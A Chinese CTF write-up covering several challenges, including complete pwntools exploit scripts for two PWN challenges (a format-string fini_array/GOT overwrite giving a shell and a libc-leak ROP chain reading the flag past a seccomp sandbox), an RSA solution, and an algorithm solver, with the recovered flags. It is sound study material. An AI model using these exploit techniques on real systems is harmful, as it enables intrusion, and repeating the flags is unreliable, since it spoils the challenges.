这里只记录我复现的和我写的题目,没记录出来的要不然是队友写的要不然是没复现的
初赛
PWN
Just_0nce
发现开启了Canary保护机制
然后再使用IDA反编译
发现是格式化字符串漏洞,而且是只能打一次的格式化字符串漏洞
那就直接打fini_array
,第一次先改printf
的got表为system
的plt,改fini_array
为main_adrr
,这样就可以执行两次main函数
fini_array
的地址在IDA中使用CTRL + S
,会跳出界面,跳出来后就可以看到了
第二次再传入字符串/bin/sh
这样就可以得到shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch = 'amd64' ,log_level='debug' ) p = remote('node8.anna.nssctf.cn' ,21181 ) main_adrr = 0x401366 printf_got = 0x4033F0 system_plt = 0x4010C0 fini_array = 0x4031D8 dofunc = 0x40127E payload = fmtstr_payload(6 , {fini_array :dofunc , printf_got:system_plt}) p.sendafter(b'input:\n' ,payload) p.sendafter(b'input:\n' ,b"/bin/sh\x00" ) p.interactive()
复现flagNSSCTF{51461c79-beac-49e4-bfd0-fea257d1b20f}
Ez__PWN
然后再使用IDA反编译查看一下代码,发现开了沙箱,猜测是orw
一开始以为是ret2libc,看到沙箱后是orw,而且在进行orw前还要泄露libc的地址,以便获取open的地址
现在先查看一下沙箱,使用seccomp-tools
查看,果然只有open、read、write,但是open是允许openat,如果是允许open的话是要用Syscall的
先泄露libc,libc版本可以去libc-database 这里面找,再进行orw,进行orw的时候,要先写入open的got表在bss段才能进行调用,注意一些open传入open的三个参数,还有注意fd
文件说明符,0x0
是标准输入,0x1
是标准输出,0x2
是标准错误,所以open
打开的文件描述符是0x3
,open的第三个参数256
是表示文件被打开为只读和只写的组合(这里尝试过只读0x0调用,但是没成功)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(log_level='debug' ) p = remote('node8.anna.nssctf.cn' ,20367 ) ret = 0x4006ce pop_rdi = 0x400a13 read_got = 0x601040 write_got = 0x601028 syscall_offset = 0x118940 pop_rbx_rbp_r12 = 0x400A0A bss_addr = 0x601060 +0x200 dofunc = 0x400921 mov_rdx = 0x4009F0 pop_rsi_r15 = 0x400a11 print_got = 0x601038 read_offset = 0x10e1e0 payload = b'A' *0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(0x400720 )+p64(ret)+p64(dofunc) p.sendlineafter(b'input name:' ,payload) read_addr = p.recvuntil(b'\x40' ) read_addr = p.recv() read_addr = p.recv()[:6 ] print ('read_addr ------>' , read_addr)read_addr = int .from_bytes(read_addr,byteorder='little' ) libc_addr = read_addr - read_offset open_addr = libc_addr + 0x10DF00 payload1 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(read_got) payload1+=p64(0x0 )+ p64(bss_addr)+p64(0x20 )+p64(mov_rdx) +p64(0xdeaddeff ) payload1+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload1+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendline(payload1) p.send(b'./flag\x00\x00' +p64(open_addr)) payload2 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(bss_addr+0x8 ) payload2+=p64(bss_addr)+ p64(0x00 )+p64(256 )+p64(mov_rdx) +p64(0xdeaddeff ) payload2+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload2+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendlineafter(b'input name:' ,payload2) payload3 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(read_got) payload3+=p64(0x03 )+ p64(bss_addr+0x100 )+p64(0x100 )+p64(mov_rdx) +p64(0xdeaddeff ) payload3+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload3+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendlineafter(b'input name:' ,payload3) payload4 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(write_got) payload4+=p64(0x01 )+ p64(bss_addr+0x100 )+p64(0x100 )+p64(mov_rdx) +p64(0xdeaddeff ) payload4+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload4+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendlineafter(b'input name:' ,payload4) p.interactive()
复现flagNSSCTF{5c4794ae-547e-47c2-842f-0441bd494802}
CRYPTO
ez_fermat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import *p = getPrime(1024 ) q = getPrime(813 ) n = p * q d = p e = inverse(d, (p-1 )*(q-1 )) flag = b'NSSCTF{test_flag}' m = bytes_to_long(flag) print (n)print ()print (e)print ()print (pow (m, e, n))''' 3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983 3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225 2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796'''
推导过程如下:这边要注意一点,需要比较深刻的理解RSA加密和欧拉定理。
欧拉定理如下:
设 a , m ∈ N + ,且 g c d ( a , m ) = 1 ,则公式有 : a ϕ ( m ) ≡ 1 ( m o d m ) \begin{array}{l}
设a,m∈N_+,且gcd(a,m)=1,则公式有:
a^{\phi(m)}\equiv 1 (mod~m)
\end{array}
设 a , m ∈ N + , 且 g c d ( a , m ) = 1 , 则 公 式 有 : a ϕ ( m ) ≡ 1 ( m o d m )
若 a ≡ b ( m o d m ) , d ∣ m , d > 0 ,则 a ≡ b ( m o d d ) \begin{array}{l}
若a\equiv b(mod~m),d\mid m,d>0,则a\equiv b(mod ~d)
\end{array}
若 a ≡ b ( m o d m ) , d ∣ m , d > 0 , 则 a ≡ b ( m o d d )
若 a ≡ b ( m o d m ) , 则 ( a , m ) = ( b , m ) 因而若 d 能整除 m 及 a , b 二数之一 , 则 d 必能整除 a , b 中的另一个。 \begin{array}{l}
若a\equiv b(mod~m),则(a,m)=(b,m)因而若d能整除m及a,b二数之一,则d必能整除a,b中的另一个。
\end{array}
若 a ≡ b ( m o d m ) , 则 ( a , m ) = ( b , m ) 因 而 若 d 能 整 除 m 及 a , b 二 数 之 一 , 则 d 必 能 整 除 a , b 中 的 另 一 个 。
若 p 是质数,而整数 a 不是 p 的倍数,则有 a p − 1 ≡ 1 ( m o d p ) \begin{array}{l}
若p是质数,而整数a不是p的倍数,则有a^{p-1}\equiv1(mod~p)
\end{array}
若 p 是 质 数 , 而 整 数 a 不 是 p 的 倍 数 , 则 有 a p − 1 ≡ 1 ( m o d p )
c ≡ m e ( m o d n ) e p ≡ e d ≡ 1 ( m o d ϕ ( n ) ) 已知 c 、 e 、 n c\equiv m^e(mod~n)\\
ep \equiv ed \equiv 1(mod ~\phi(n))\\
已知c、e、n
c ≡ m e ( m o d n ) e p ≡ e d ≡ 1 ( m o d ϕ ( n ) ) 已 知 c 、 e 、 n
\begin{array}{l}
由RSA加密中c \equiv m^e(mod~n),如果想恢复m,这需要使用私钥d,而这里的私钥d即为p\\
因为ed在模\phi(n)的情况下是互为逆元的,即ep \equiv ed \equiv 1(mod ~\phi(n))\\
由欧拉定理可以得到gcd(2,n)=1,即有2^{\phi(n)}\equiv 1(mod~n)\\
即这边有2^{\phi(n)}\equiv2^0(mod~n),同时ep\equiv1(mod~\phi(n))\\
所以ep=k\phi(n)+1\\
所以2^{ep}\equiv2^{k\phi(n)+1}\equiv2^1(2^{\phi(n)})^k\equiv2^1(mod~n)\\
因为p\mid n,由上方的同余定理可得2^{ep}\equiv 2(mod~p)\\
将该式变形成为2^{e(p-1)}2^e\equiv2(mod ~p)\\
由费马小定理得2^{(p-1)*e}\equiv1^e(mod~p)\\
\begin{equation}
\left\{
\begin{aligned}
2^{(p-1)e}2^e\equiv2(mod ~p) \\
2^{(p-1)*e}\equiv1^e(mod~p)
\end{aligned}
\right.
\end{equation}
\\
联立俩个式子得到2^e\equiv 2(mod~p)\\
所以有2^e-2 \equiv0(mod~p)\\
即p\mid(2^e-2),同时p\mid n\\
所以gcd(n,2^e-2)=p\\所以p就可以求出来了,求出来之后就可以求m了\\
在写脚本的时候尝试求gcd(n,2^e-2),但是很大求不出来\\
这时就考虑使用模一个n,使其仍在是p的整数倍,但是结果更容易求
利用2^e-2=k*p\\
所以2^e-2\equiv k*p(mod~n)\\
利用第二个同余定理就可以得到(应该是有用上)p=gcd(2^e-2(mod~n),n)\\
即m = c^p(mod~n)
\end{array}
1 2 3 4 5 6 7 8 9 import libnumimport gmpy2n = 3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983 e = 3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225 c = 2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796 p = gmpy2.gcd(pow (2 ,e,n)-2 ,n) print (libnum.n2s(int (pow (c,p,n))))
决赛
PWN
水果忍者(复现)
考的是httpd的题目,复现完单独写了个博客(处于加密状态),这里就不再写了
A Study in Scarlet
考的是CSTL的pwn,STL全称为(Standard Template Library,标准模板库),我还没学过C ,但是有点Java基础和C的基础可以试试
MISC
Algorithm(复现)
算法+pwntools的使用
pwntools会用,但是不会算法,用AI跑的算法会出错QAQ,Pwntools接收过程先不给出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(log_level='debug' ) p = remote('node4.anna.nssctf.cn' ,28804 ) p.recvuntil(b'Mode:' ) p.sendline(b'1' ) def change2U (s ): N = len (s) k, n2 = 0 , 0 for i in range (3 , N): if (N - i) % 2 != 0 : continue k = (N + 2 - i) // 2 if k <= i: n2 = N + 2 - 2 * k break result = [] for idx in range (k - 1 ): result.append(s[idx] + '@' + str (n2 - 2 ) + '@' + s[N - idx - 1 ]) result.append(s[k - 1 :k - 1 + n2]) output = '|' .join(result) return output a = p.recvuntil(b'Your' )[:-5 ] output = change2U(a.decode('utf-8' )) p.sendlineafter(b'answer:>' , output.encode('utf-8' )) for i in range (98 ): p.recvuntil(b'Right!\n' ) a = p.recvuntil(b'\n' )[:-1 ] print (a) output = change2U(a.decode('utf-8' )) p.sendlineafter(b'answer:>' ,output.encode('utf-8' )) p.recvuntil(b'Right!\n' ) a = p.recvuntil(b'\n' )[:-1 ] print (a)output = change2U(a.decode('utf-8' )) p.sendlineafter(b'answer:>' ,output.encode('utf-8' )) a = p.recv() print (a)p.interactive()